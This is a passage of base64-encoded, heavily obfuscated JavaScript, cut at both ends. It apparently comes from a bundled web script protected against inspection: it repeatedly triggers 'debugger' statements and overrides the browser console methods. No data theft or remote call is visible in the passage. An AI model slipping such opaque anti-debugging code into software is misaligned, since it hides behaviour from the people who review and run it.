sMCwiY1hNMSIsNjkpXSkpcmV0dXJuIF8weDQ1YmVhMFt0KDAsMCwiKDhxOSIsLTI1NykrYygiNSlzSCIsMCwwLDgyMildKClbYSgia0F6ciIsMCwwLDQ0MCkrImgiXShvW3QoMCwwLCI1KXNIIiwtMzQwKV0pW2koMCw3NywibGNWUyIpK2koMCw1NjQsImxjVlMiKV0oKVtjKCJPXlZAIiwwLDAsODQxKSthKCIxR0JDIiwwLDAsMTA3KSsiciJdKF8weDVlNzljNylbYygiZ0lCSCIsMCwwLDgwMSkrImgiXShvW2MoIl1bVUciLDAsMCw3NDMpXSk7b1thKCI1JE5VIiwwLDAsMjExKV0oRWkpfWVsc2V7aWYoIW9bdCgwLDAsIig4cTkiLC01OCldKG9bYSgiclRiUiIsMCwwLDIwMyldLG9baSgwLDI4OSwia0F6ciIpXSkpe3ZhciBXPV8weDFkYzQyMz9mdW5jdGlvbigpe2lmKF8weDI0YWE4Mil7dmFyIHQ9XzB4M2JkZDI0WyhlPSJnSUJIIixuPS0yMDksYyhlLDAsMCxuLSAtODIxKSldKF8weDIxMjE4OCxhcmd1bWVudHMpO3JldHVybiBfMHg0YzczNmE9bnVsbCx0fXZhciBlLG59OmZ1bmN0aW9uKCl7fTtyZXR1cm4gXzB4NDQyZThjPSExLFd9b1t0KDAsMCwiMzJyUSIsMzEpXShsLCIwIil9fWVsc2UgaWYoXzB4N2JkOTFlKXt2YXIgZj1fMHgxZGE0YzlbcygwLCJtQjNqIiwwLC0xNTEpXShfMHgxZGMxNzAsYXJndW1lbnRzKTtyZXR1cm4gXzB4MTY0NzBlPW51bGwsZn19KSkoKX0oKTt2YXIgTWk9ZnVuY3Rpb24oKXt2YXIgdD17enBXZWk6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0sWFRCbEg6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PWV9LFZLYWZzOm8oLTE2NiwtNDQ2LC0zMzYsLTIyNSwic2spXSIpLE1tUWFFOnIoMjg3LDQ1MiwiMXl0TiIpLHpxdGdOOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQhPT1lfSxmaUxIWDpvKC0yODUsLTksLTI0NCwtMjksIl1KIzUiKSxDQ0hOaDpvKC0xMjAsOTUsLTIsNTEsIkNVT2giKSxySG9qRjpmdW5jdGlvbih0LGUpe3JldHVybiB0IT09ZX0semhoUUg6bigidWJJOCIsMjEwLDM3MSl9LGU9ITA7ZnVuY3Rpb24gbih0LGUsbixyLG8pe3JldHVybiBOaShuLSAtMjI2LHQpfWZ1bmN0aW9uIHIodCxlLG4scixvKXtyZXR1cm4gTmkodC0gLTMwMixuKX1mdW5jdGlvbiBvKHQsZSxuLHIsbyl7cmV0dXJuIE5pKG4tIC01NTMsbyl9cmV0dXJuIGZ1bmN0aW9uKGEsaSl7dmFyIGM9e2pSTE5BOmZ1bmN0aW9uKGUsbil7cmV0dXJuIHRbKHI9LTEwOCxvPSJOZmJ5IixOaShyLSAtNjY2LG8pKV0oZSxuKTt2YXIgcixvfSxrRG5ZVjp0W2woMTE4NiwxMTA3LCJWS1N5IiwxMDI4KV0sbmxTQ2s6dFtzKDk5Myw5MTUsMTA3NywxMDY5LCJdSiM1IildLFlhVXVoOmZ1bmN0aW9uKGUsbil7cmV0dXJuIHRbKHI9Il1bVUciLG89MTQ1LGE9MzQ5LHMoYS0gLTY1MixyLTI5MSxvLTE1MyxhLTE2MCxyKSldKGUsbik7dmFyIHIsbyxhfSxLanJUSTp0W2woODYyLDEwNTUsIlpqY2siLDk4OSldLEdBV2lJOnRbdSg1MjksMjAzLCIxeXROIiwxODcsNDQzKV19O2Z1bmN0aW9uIHModCxlLG4sbyxhKXtyZXR1cm4gcih0LTczOSwwLGEpfWZ1bmN0aW9uIGQodCxlLHIsbyxhKXtyZXR1cm4gbih0LDAsby0gLTExMyl9ZnVuY3Rpb24gdSh0LGUsbixyLG8pe3JldHVybiBOaShvLSAtODg3LTc4MSxuKX1mdW5jdGlvbiBsKHQsZSxyLG8sYSl7cmV0dXJuIG4ociwwLG8tMTAxNil9aWYoIXRbbCgwLDAsIlBvb3YiLDEwMTEpXSh0W2woMCwwLCJWQSh1IiwxMDEzKV0sdFtzKDc2NCwwLDAsMCwia0F6ciIpXSkpe3ZhciBXPWU/ZnVuY3Rpb24oKXtmdW5jdGlvbiB0KHQsZSxuLHIsbyl7cmV0dXJuIGQodCwwLDAsbi05ODYpfWZ1bmN0aW9uIGUodCxlLG4scixvKXtyZXR1cm4gbCgwLDAsZSxyLSAtMjgwKX1mdW5jdGlvbiBuKHQsZSxuLHIsYSl7cmV0dXJuIG8oMCwwLGUtNTk0LTE4MCwwLG4pfWZ1bmN0aW9uIHIodCxlLG4scixvKXtyZXR1cm4gdSgwLDAsbywwLG4tNTAxKX1mdW5jdGlvbiBzKHQsZSxuLHIsbyl7cmV0dXJuIGQobywwLDAsZS01NTgpfWlmKGNbZSgwLCImT245IiwwLDEwNTApXShjW3IoMCwwLDgzNywwLCJlVGVKIildLGNbcigwLDAsODA2LDAsIiZPbjkiKV0pKXt2YXIgVz1fMHg1NGU3OTlbcygwLDg1NCwwLDAsInJUYlIiKV0oXzB4NTJlNDYzLGFyZ3VtZW50cyk7cmV0dXJuIF8weDViNjUxNj1udWxsLFd9aWYoaSl7aWYoY1tzKDAsNTUzLDAsMCwieUNGWyIpXShjW3QoIlBvb3YiLDAsMTIzNSldLGNbdCgiclRiUiIsMCwxMTUyKV0pKXt2YXIgZj1pW2UoMCwia0F6ciIsMCwxMTkzKV0oYSxhcmd1bWVudHMpO3JldHVybiBpPW51bGwsZn12YXIgaD1fMHgyMmZkYjI/ZnVuY3Rpb24oKXtpZihfMHg1OGM2ZDYpe3ZhciB0PV8weDIxNTMwMFsoZT0ibGNWUyIscj05MDYsbigwLHItMjQwLGUpKV0oXzB4MjNmNGFjLGFyZ3VtZW50cyk7cmV0dXJuIF8weDJmYTQzZj1udWxsLHR9dmFyIGUscn06ZnVuY3Rpb24oKXt9O3JldHVybiBfMHgxNjAwMjI9ITEsaH19OmZ1bmN0aW9uKCl7fTtyZXR1cm4gZT0hMSxXfWlmKF8weDRjODBjYylyZXR1cm4gXzB4MWIyNjNjO3RbdSgwLDAsInZHaCgiLDAsNDIxKV0oXzB4MTFmYjdlLDApfX0oKTtNaShnbG9iYWxUaGlzLChmdW5jdGlvbigpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gTmkobi0gLTkwNyxlKX12YXIgZSxuPXtjbUlCQzpmdW5jdGlvbih0KXtyZXR1cm4gdCgpfSxZdndQTTpmdW5jdGlvbih0LGUpe3JldHVybiB0IT09ZX0sV3RkcVM6dSg4NzAsIl1bVUciLDg1MCkseUFNRVI6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0sd0NnaHY6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCtlfSxBQ1dVSTpjKC00NTEsLTYxNiwtODkyLCJWQSh1IiwtNjM5KStjKC0zMjYsLTMyNCwtMzczLCJOZmJ5IiwtNTMwKStpKC00OTcsImVUZUoiLC02OTUsLTc5MiwtNjcyKSt1KDEyNTIsIiZPbjkiLDExMjgpLFVQeGFEOmQoLTMxNiwtMzYwLCImT245IikrYygtMzU1LC00MDIsLTM4MCwiRnBMQiIsLTIyNikrZCgtNDY2LC01MDYsIjUkTlUiKStpKC03MTAsImJzKCgiLC01NTksLTU4NSwtNDU1KSt0KDAsIjF5dE4iLC0xOTUpK2MoLTkxLC00OTAsLTE0MCwibUIzaiIsLTMxNykrIiApIixzQ1J0eDpmdW5jdGlvbih0KXtyZXR1cm4gdCgpfSxNcGFiUjpmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX0sd2FRdUg6YygtNTgyLC0yNDUsLTYyNCwiWjdiZCIsLTQ2MCksUnNQSXI6aSgtMjAzLCJdW1VHIiwtNjI5LC0zODUsLTQ2MSksdXVxUmY6dCgwLCJ2R2goIiwtMzk4KSxjWHhSZTp1KDg2Niwia2xdaSIsOTUzKSxrWUJXazpjKC03MDMsLTY1NywtNjQ5LCJ1Ykk4IiwtNTY3KSxNckptcDppKC0yMjEsIlpqY2siLC00NjAsLTUxLC0yNjMpK3QoMCwiKU5zdiIsLTQzMSksTVpyZEg6YygtMzE1LC02MTksLTI3MCwia0F6ciIsLTUyMSksVkN0WkE6ZCgtNzcxLC01ODYsIkxGRU8iKSxFUmhPbzpmdW5jdGlvbih0LGUpe3JldHVybiB0PGV9LHJMTUxBOmkoLTc1NCwib09CRiIsLTMwNywtNDQyLC01MTUpLFlITHVQOmQoLTUwMSwtNDYxLCIxeXROIiksek1NcXo6ZCgtMzQ3LC01MzIsImJzKCgiKStpKC00NTYsIm1CM2oiLC01MDYsLTI5MCwtNDQ5KSsiNSJ9O3RyeXtpZihuW2koLTM0NiwiJk9uOSIsLTM4OCwtNTUxLC02MDMpXShuW2QoLTgxOSwtNTY0LCJQb292IiwtMzQxLC04MDcpXSxuW2koLTU5LCJ5Q0ZbIiwtMTIwLC0xNTgsLTIyOSldKSl7aWYoXzB4MTgyOGZmKXt2YXIgcj1fMHg0NTRmYjNbdSg3MzcsImVUZUoiLDg2NSwxMDkxLDYzMSldKF8weDRkN2RjYyxhcmd1bWVudHMpO3JldHVybiBfMHg0OTAwODg9bnVsbCxyfX1lbHNle3ZhciBvPW5bYygtODMwLC04OTUsLTQ0NiwiTykmVSIsLTcwNyldKEZ1bmN0aW9uLG5baSgtMTI2LCJyVGJSIiwtMjgwLC0xNzIsLTM3NCldKG5bYygtMjIyLC01NCwtMjY1LCJ1Ykk4IiwtMjgyKV0obltkKC02NTMsLTQ0NiwiT15WQCIsLTMxNywtMzE4KV0sbltkKC05OSwtMjU3LCIoeThyIiwtMzY4LC00NzIpXSksIik7IikpO2U9bltkKC04MDEsLTU0MywidyVVOSIsLTQxOCwtNjc4KV0obyl9fWNhdGNoKGspe25bYygtMTgwLC01MjAsLTU4NCwiM3FGbiIsLTM1NCldKG5bdCgwLCJyVGJSIiwtNjQyKV0sblt0KDAsIlBvb3YiLC01NTQpXSk/ZT13aW5kb3c6XzB4NGMwMDgyPV8weDE4ZGU3NX12YXIgYT1lW3QoMCwiMzJyUSIsLTUyNykrImxlIl09ZVt1KDExMjksIm1CM2oiLDkwOSkrImxlIl18fHt9O2Z1bmN0aW9uIGkodCxlLG4scixvKXtyZXR1cm4gTmkoby0gLTg4NyxlKX1mdW5jdGlvbiBjKHQsZSxuLHIsbyl7cmV0dXJuIE5pKG8tIC05MzMscil9dmFyIHM9W25bdCgwLCJsY1ZTIiwtNTA5KV0sbltjKDAsMCwwLCJlKV5VIiwtNjk2KV0sbltkKC0yMjMsLTIxOCwidkdoKCIpXSxuW3UoMTQxNSwiJmNGeiIsMTE1NildLG5bdCgwLCIzcUZuIiwtNjc3KV0sblt1KDEyMTMsImJzKCgiLDEwMDkpXSxuW3QoMCwiXUojNSIsLTcwNildXTtmdW5jdGlvbiBkKHQsZSxuLHIsbyl7cmV0dXJuIE5pKGUtIC04Mzksbil9ZnVuY3Rpb24gdSh0LGUsbixyLG8pe3JldHVybiBOaShuLTQ5MixlKX1mb3IodmFyIGw9MDtuW3QoMCwic2spXSIsLTI3MyldKGwsc1tjKDAsMCwwLCImQG4mIiwtMzA4KSsiaCJdKTtsKyspaWYobltkKDAsLTE0MiwiKG1oWyIpXShuW3UoMCwiMXl0TiIsNzYwKV0sblt0KDAsIiZjRnoiLC01MTIpXSkpZm9yKHZhciBXPW5baSgwLCIxeXROIiwwLDAsLTU3MSldW2QoMCwtNDY4LCImT245IildKCJ8IiksZj0wOzspe3N3aXRjaChXW2YrK10pe2Nhc2UiMCI6dmFyIGg9c1tsXTtjb250aW51ZTtjYXNlIjEiOnZhciBtPWFbaF18fHA7Y29udGludWU7Y2FzZSIyIjp2YXIgcD1NaVtkKDAsLTIzNiwiSE1dRyIpK2MoMCwwLDAsIk8pJlUiLC0yNjQpKyJyIl1baSgwLCJPXlZAIiwwLDAsLTM1OSkrdCgwLCIpTnN2IiwtMTc1KV1bZCgwLC0xMTMsIiZjRnoiKV0oTWkpO2NvbnRpbnVlO2Nhc2UiMyI6cFtkKDAsLTEyMywiRnBMQiIpK2koMCwiKHk4ciIsMCwwLC01MTgpXT1NaVtpKDAsImtBenIiLDAsMCwtMzg2KV0oTWkpO2NvbnRpbnVlO2Nhc2UiNCI6cFt1KDAsImNYTTEiLDgxMSkrZCgwLC00ODMsInZHaCgiKV09bVt0KDAsIjUpc0giLC0zMjApK3QoMCwiaTcoXiIsLTU0MildW3UoMCwiYnMoKCIsMTE4NCldKG0pO2NvbnRpbnVlO2Nhc2UiNSI6YVtoXT1wO2NvbnRpbnVlfWJyZWFrfWVsc2UgbltkKDAsLTUxOCwibGNWUyIpXShfMHg1Mzg1NWUpfSkpKCksZnVuY3Rpb24oKXt2YXIgdD17VmpHeUU6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0sam5DZ2I6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0sRXJ2Um06ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCtlfSxXS2JjZDpuKDg2NSwidl52aSIpK3IoODE3LDc3MiwiT15WQCIsOTkyKStuKDc2MiwiTXVydyIpK24oMTE0NiwiMXl0TiIpLHRUQ0FHOm8oLTU4NywtNTYzLC01MzksLTQzMCwiWjdiZCIpK2UoMjUyLDMxNywiWmpjayIsMjg5LDIxNCkrZSgyNSwyMTYsInViSTgiLDE5LDIzNykrYSgiKG1oWyIsODQwLDc2NCw3NzYsODUyKStuKDEwNzEsInNrKV0iKStvKC0zMTIsLTMyOCwtMjI2LC00NzEsInZHaCgiKSsiICkiLFpPUmZOOmZ1bmN0aW9uKHQpe3JldHVybiB0KCl9LGdWTm5BOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9PT1lfSxxUkxxZjphKCIxR0JDIiw5MTgsNzE4LDEwMjcsODQ0KSxCQlphQzplKDY0OCwxNjYsIjFHQkMiLDQ3Miw0MjApLExQSm9COmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQhPT1lfSxhS0pudzplKDM1NCwzNTAsImdJQkgiLDUzOCw0MjMpLEJsZXpXOmUoNTY4LDIzOSwiTykmVSIsMTc4LDMwNSksU0Robms6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0sSXlRcmM6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCtlfSxsS3JheDpmdW5jdGlvbih0LGUpe3JldHVybiB0K2V9LENmaGF4OmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9PT1lfSx5bmh4cjpuKDExOTIsImUpXlUiKSxZRFZBQjpmdW5jdGlvbih0KXtyZXR1cm4gdCgpfX07ZnVuY3Rpb24gZSh0LGUsbixyLG8pe3JldHVybiBOaShvLSAtMTQ4LG4pfWZ1bmN0aW9uIG4odCxlLG4scixvKXtyZXR1cm4gTmkodC01NTMsZSl9ZnVuY3Rpb24gcih0LGUsbixyLG8pe3JldHVybiBOaShyLTM1MSxuKX1mdW5jdGlvbiBvKHQsZSxuLHIsbyl7cmV0dXJuIE5pKHQtIC04Nzgsbyl9ZnVuY3Rpb24gYSh0LGUsbixyLG8pe3JldHVybiBOaShvLTE3Mix0KX10W3IoMCwwLCJzayldIiw5MjkpXSgoZnVuY3Rpb24oKXtmdW5jdGlvbiBhKHQsbixyLG8sYSl7cmV0dXJuIGUoMCwwLG4sMCx0LSAtNjcxKX12YXIgaSxjPXtoVHl2VjpmdW5jdGlvbihlLG4pe3JldHVybiB0WyhyPTc1OSxvPSJrQXpyIixOaShyLTY1LG8pKV0oZSxuKTt2YXIgcixvfSxzcHhkYTpmdW5jdGlvbihlLG4pe3JldHVybiB0WyhyPSJdSiM1IixvPS0zMDcsTmkoby0gLTY2NixyKSldKGUsbik7dmFyIHIsb30sWENkZGk6dFthKC0yOTUsImJzKCgiKV0sandxTVI6dFtkKCJNTTFxIiw3ODUsODg4LDEyMzYsOTk1KV0scVhNQUU6ZnVuY3Rpb24oZSl7cmV0dXJuIHRbKG49IlBvb3YiLHI9OTk4LGEoci0xNDU2LG4pKV0oZSk7dmFyIG4scn19O2Z1bmN0aW9uIHModCxlLHIsbyxhKXtyZXR1cm4gbihvLSAtMTM5Mix0KX1mdW5jdGlvbiBkKHQsZSxuLG8sYSl7cmV0dXJuIHIoMCwwLHQsYS0xODEpfWZ1bmN0aW9uIHUodCxlLG4sbyxhKXtyZXR1cm4gcigwLDAsZSxuLTQ1Nyl9ZnVuY3Rpb24gbCh0LGUsbixyLGEpe3JldHVybiBvKGUtIC05MSxlLTI2LG4tMzk4LHItMCx0KX1pZih0W2QoIjNxRm4iLDAsMCwwLDk1OSldKHRbbCgiKU5zdiIsLTYzNywtNjYyLC01NDcpXSx0W3MoIjFHQkMiLDAsMCwtMTQ0KV0pKXJldHVybiEwO3RyeXt0W2woIjF5dE4iLC0zMzIsLTM2MCwtMTQ2KV0odFtsKCJyVGJSIiwtNzAyLC01ODAsLTkwNCldLHRbZCgiXUojNSIsMCwwLDAsMTIyMSldKT9pPXRbbCgiKDhxOSIsLTU0NSwtNTAzLC01MDQpXShGdW5jdGlvbix0W3UoMCwic2spXSIsMTM0OSldKHRbdSgwLCJQb292IiwxMzUwKV0odFthKC02MjMsImVUZUoiKV0sdFthKC0zODQsInNrKV0iKV0pLCIpOyIpKSgpOnRbdSgwLCImT245IiwxMzE0KV0oXzB4YzBjYjNmLCIwIil9Y2F0Y2goZil7aWYodFthKC0yNjksIjMyclEiKV0odFtkKCJdW1VHIiwwLDAsMCw5NjApXSx0W2QoIkNVT2giLDAsMCwwLDk5MSldKSlpPXdpbmRvdztlbHNle3ZhciBXPWNbcygia2xdaSIsMCwwLC0yNDkpXShfMHgxODMzNDAsY1tzKCIoOHE5IiwwLDAsLTMyNCldKGNbcygic2spXSIsMCwwLC0yMjUpXShjW2woInJUYlIiLC0zOTMsLTIyNCwtNjM3KV0sY1t1KDAsImxjVlMiLDEzNjIpXSksIik7IikpO18weDZmNzAwYz1jW3UoMCwiTU0xcSIsMTAyMCldKFcpfX1yZXR1cm4gaX0pKVtvKC02NDcsMCwwLDAsIk9eVkAiKStvKC0yMjUsMCwwLDAsImk3KF4iKSsibCJdKEVpLDRlMyl9KCk7dmFyIEdpPXt9O2Z1bmN0aW9uIEVpKHQpe2Z1bmN0aW9uIGUodCxlLG4scixvKXtyZXR1cm4gUmkoMCwwLHQsMCxlLTEwOTcpfWZ1bmN0aW9uIG4odCxlLG4scixvKXtyZXR1cm4gUGkodCxyLTU4NSl9dmFyIHI9e0lUeWR0OmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQoZSl9LGVRcnVNOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQrZX0sVHVHU1Y6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCtlfSxFVkVSZjppKDI4MSwzMSwyMjUsIk11cnciKStpKC0yMTAsNDMsLTE2MiwiZ0lCSCIpK2EoMzg1LDMxLCJicygoIiwxMDUsMjczKStlKCJDVU9oIiw4MjcpLG9jTFJSOm4oIjFHQkMiLDAsMCw5NzApK2UoIiZjRnoiLDc5NCkrYSg3NzgsNTU5LCJdSiM1Iiw2NzksNjg5KStpKDIyMiwyNDIsMTc0LCJWQE9EIikrbygib09CRiIsLTE0MSwtMzIsMTcpK2UoIk1NMXEiLDk3MCkrIiApIixTcE5IdjpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfSxEVlhicDpmdW5jdGlvbih0LGUpe3JldHVybiB0K2V9LEpXVHBkOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9PT1lfSxDd3pDZzpuKCJNdXJ3IiwwLDAsMTEyNCksSU1pV086ZSgiKHk4ciIsODUxKSxFVmFGTDpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfSxEaHlxYjpmdW5jdGlvbih0KXtyZXR1cm4gdCgpfSxUSmNybDpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfSxjRFhrRTpmdW5jdGlvbih0LGUpe3JldHVybiB0IT09ZX0sd0x4dnI6YSg1NTEsNTY5LCJjWE0xIiw2NTEsNTQwKSxCaGltcjpmdW5jdGlvbih0LGUpe3JldHVybiB0K2V9LHdRcGJXOmkoMzQ1LDQ2NSwyMzAsIjUkTlUiKSx4VkdtRDphKDc2LDExMCwiVkEodSIsNDQsMjUzKSxwa21nTDpuKCJpNyheIiwwLDAsMTE4OCkrIm4iLEJOdm9FOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQhPT1lfSxNR0JOdjppKDI5NSwxNTgsMTc4LCJaamNrIiksemxWSGE6aSgtNDQ1LC01MDIsLTI4NywiTykmVSIpLHV3WFdXOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9PT1lfSxpd3lJZzpvKCJDVU9oIiwxNjcsLTEzLDUyKSsiZyIsWFJkWkY6bygic2spXSIsLTQzNiwtMjY5LC0yMjQpLElrbkVtOmUoInJUYlIiLDEwNTIpLFVCQXlhOm8oImUpXlUiLDE0NywtMjQ0LC01KStlKCIkUEFjIiw4MDApK2EoNjk1LDU2NywiJFBBYyIsNTEzLDYxOCksS1V0amU6bygiMzJyUSIsLTMyMywtMzE0LC0zNTApKyJlciIsQ0VoVWw6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PWV9LENYeU5mOm4oIiRQQWMiLDAsMCwxMTIwKSxYZ3p5YjppKC00MDUsLTEyOSwtMjAyLCJDVU9oIiksbUNnYng6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdC9lfSxSZUhrVTppKC0xODcsLTExNiwtMjI2LCJlKV5VIikrImgiLEVrYlNCOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQlZX0sWXF2UlM6bygiXVtVRyIsLTUyLC0xNTAsLTI3NCksU0NwdmY6ZSgiVkEodSIsMTA3MSksckxRV3c6YSg4MzAsODIwLCJ5Q0ZbIiw3MjQsNTY3KSxudnhaZzpvKCIzMnJRIiwtMiwtMjMsMTI3KSxXZG5kczpmdW5jdGlvbih0LGUpe3JldHVybiB0K2V9LFZ0SFREOm4oIl1bVUciLDAsMCwxMTY3KStuKCJjWE0xIiwwLDAsMTExNCkrInQiLE9IdFZIOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQoZSl9LHhzUGdmOmEoOTAsODEsImUpXlUiLDI1MywzMzgpK28oIlZBKHUiLC0yODcsLTE5OSwtMTkyKStlKCJ2R2goIiw4NDgpKyIpIixQY0JGcTphKDY2OCw1NDAsIiRQQWMiLDM2OSw1OTApK28oIlo3YmQiLDg4LC0yNTIsLTE0NSkrbigiJk9uOSIsMCwwLDc4MykrYSg4NjEsODYxLCJDVU9oIiw1NjYsNjgyKStvKCIzMnJRIiwtNDExLC0yMzcsLTMxMikraSgtNzMsLTkzLC0yMjAsImtBenIiKStuKCJGcExCIiwwLDAsMTIwNCksaUZ6b0I6ZSgiWjdiZCIsODk3KSx4UGZDaTpuKCJicygoIiwwLDAsMTIyMCksbEZack46bygibGNWUyIsLTIyOSwtMjQyLC0yMzIpLFRleXVWOmZ1bmN0aW9uKHQsZSxuKXtyZXR1cm4gdChlLG4pfSxUTVV3WTpmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX0sZHZnYWE6YSg3NzcsNDI4LCIoeThyIiw4NTMsNjE3KSxNSGJHcTplKCJdW1VHIiw3MjkpLFhUSGJXOmUoInViSTgiLDY2OCksS2NOVUU6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PWV9LE9vWk9MOm4oIkhNXUciLDAsMCw5MDIpLHNBWG1VOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQoZSl9fTtmdW5jdGlvbiBvKHQsZSxuLHIsbyl7cmV0dXJuIFJpKDAsMCx0LDAsci0xNjYpfWZ1bmN0aW9uIGEodCxlLG4scixvKXtyZXR1cm4gUGkobixvLTExNyl9ZnVuY3Rpb24gaSh0LGUsbixyLG8pe3JldHVybiBSaSgwLDAsciwwLG4tMjQ0KX1mdW5jdGlvbiBjKHQpe2Z1bmN0aW9uIGkodCxlLG4scixvKXtyZXR1cm4gYSgwLDAsbywwLG4tNzA2KX1mdW5jdGlvbiBzKHQsZSxuLHIsYSl7cmV0dXJuIG8odCwwLDAsYS0yMjcpfWZ1bmN0aW9uIGQodCxuLHIsbyxhKXtyZXR1cm4gZSh0LHItIC0xMTk5KX1mdW5jdGlvbiB1KHQsZSxyLG8sYSl7cmV0dXJuIG4odCwwLDAsci0yOTYpfWZ1bmN0aW9uIGwodCxlLHIsbyxhKXtyZXR1cm4gbihlLDAsMCxvLTM0MSl9dmFyIFc9e2hXZ0dVOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHJbKG49InJUYlIiLG89MzM3LE5pKG8tIC0zLG4pKV0odCxlKTt2YXIgbixvfSx4RGp4RTpmdW5jdGlvbih0LGUpe3JldHVybiByWyhuPTU2OSxvPSJ1Ykk4IixOaShuLSAtMTQ1LG8pKV0odCxlKTt2YXIgbixvfSxjRHRLZzpyW3UoIk11cnciLDAsMTE3OCldLHREQWlvOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHJbKG49NjAsbz0iZSleVSIsdShvLDAsbi0gLTExMTQpKV0odCxlKTt2YXIgbixvfSxSZFRkZTpyW3UoIkxGRU8iLDAsMTQ1NCldLHlLQndlOnJbcygia0F6ciIsMCwwLDAsMTM3KV0sSGd2bGs6clt1KCIoOHE5IiwwLDEzMTEpXX07aWYocltzKCImT245IiwwLDAsMCwyMDQpXShyW2woMCwiTEZFTyIsMCwxNDM4KV0sclt1KCJ2R2goIiwwLDEyMDYpXSkpe2lmKHJbdSgiZ0lCSCIsMCwxMzMwKV0odHlwZW9mIHQsclt1KCIoeThyIiwwLDEzMTcpXSkpe2lmKHJbZCgiMzJyUSIsMCwtMTc2KV0ocltpKDAsMCwxMzgxLDAsIjNxRm4iKV0sclt1KCJ5Q0ZbIiwwLDEzMzIpXSkpcmV0dXJuIGZ1bmN0aW9uKHQpe31bZCgiJkBuJiIsMCwtNTI2KStsKDAsIm1CM2oiLDAsMTQxNCkrInIiXShyW2woMCwiMXl0TiIsMCwxMjQ4KV0pW2koMCwwLDE0NDEsMCwiJk9uOSIpXShyW2QoIlBvb3YiLDAsLTYzOSldKTt2YXIgZjt0cnl7Zj1yW2woMCwiRnBMQiIsMCwxMDQ0KV0oXzB4MTI4N2M0LHJbdSgiZSleVSIsMCwxMjMxKV0ocltzKCJsY1ZTIiwwLDAsMCwtODcpXShyW3UoIlo3YmQiLDAsOTk3KV0scltkKCJlKV5VIiwwLC0yNzIpXSksIik7IikpKCl9Y2F0Y2gobSl7Zj1fMHg0MjA3NzJ9cmV0dXJuIGZ9aWYocltkKCJaN2JkIiwwLC01MzgpXShyW2woMCwiNSlzSCIsMCwxMTE5KV0scltpKDAsMCwxNDA3LDAsIm1CM2oiKV0pKV8weDUxYzgzNj1fMHgyZDViNDI7ZWxzZSBpZihyW3MoIig4cTkiLDAsMCwwLC03OSldKHJbaSgwLDAsMTE3NiwwLCJaN2JkIildKCIiLHJbbCgwLCJtQjNqIiwwLDEyNTUpXSh0LHQpKVtyW2QoImJzKCgiLDAsLTUwOSldXSwxKXx8cltkKCJsY1ZTIiwwLC0yMTUpXShyW2koMCwwLDEyNzYsMCwiSE1dRyIpXSh0LDIwKSwwKSlyW2koMCwwLDEwODQsMCwiMUdCQyIpXShyW3MoIjUkTlUiLDAsMCwwLDMxKV0scltzKCJDVU9oIiwwLDAsMCwtNjQpXSk/XzB4NWFjZmE3PXJbcygiY1hNMSIsMCwwLDAsMTQ2KV0oXzB4NGZkMjU0LHJbcygiT15WQCIsMCwwLDAsMTc0KV0ocltpKDAsMCw5NDUsMCwic2spXSIpXShyW3MoIiZjRnoiLDAsMCwwLDI4MildLHJbZCgidkdoKCIsMCwtNTQwKV0pLCIpOyIpKSgpOmZ1bmN0aW9uKCl7ZnVuY3Rpb24gdCh0LGUsbixyLG8pe3JldHVybiBsKDAsbiwwLHItIC0xNDU2KX1pZighclsoZT0iTXVydyIsbj0xNDAxLHUoZSwwLG4tMTgyKSldKHJbdCgwLDAsInViSTgiLC0xODUpXSxyW3QoMCwwLCJDRXgoIiwtMjA3KV0pKXJldHVybiEwO3ZhciBlLG47V1t0KDAsMCwiZSleVSIsLTYxKV0oXzB4MzgyMjIzLDApfVtsKDAsInZHaCgiLDAsMTQ1NCkraSgwLDAsMTMwNiwwLCImT245IikrInIiXShyW2koMCwwLDEzMDAsMCwiVkEodSIpXShyW3UoIiZjRnoiLDAsMTA5NCldLHJbaSgwLDAsMTI4NiwwLCJ2XnZpIildKSlbdSgic2spXSIsMCwxMjc5KV0ocltkKCJ2R2goIiwwLC00ODIpXSk7ZWxzZSBpZihyW2woMCwiTU0xcSIsMCwxMTkwKV0ocltpKDAsMCwxMjI2LDAsIk11cnciKV0scltpKDAsMCwxMjQzLDAsIm9PQkYiKV0pKShmdW5jdGlvbigpe3JldHVybiEhV1sobz01NDcsYT0iNSlzSCIsbCgwLGEsMCxvLSAtNTM0KSldKFdbKG49OTIyLHI9Im9PQkYiLGkoMCwwLG4tIC00NjQsMCxyKSldLFdbKHQ9MTI2NSxlPSIpTnN2IixkKGUsMCx0LTE3ODMpKV0pJiZfMHg1ZTgyMDE7dmFyIHQsZSxuLHIsbyxhfSlbbCgwLCJDVU9oIiwwLDE1NDIpK3MoImdJQkgiLDAsMCwwLDE2KSsiciJdKHJbbCgwLCIzMnJRIiwwLDE0MTcpXShyW2woMCwiSE1dRyIsMCwxNTc2KV0scltpKDAsMCwxMDY5LDAsIkhNXUciKV0pKVtsKDAsIlZBKH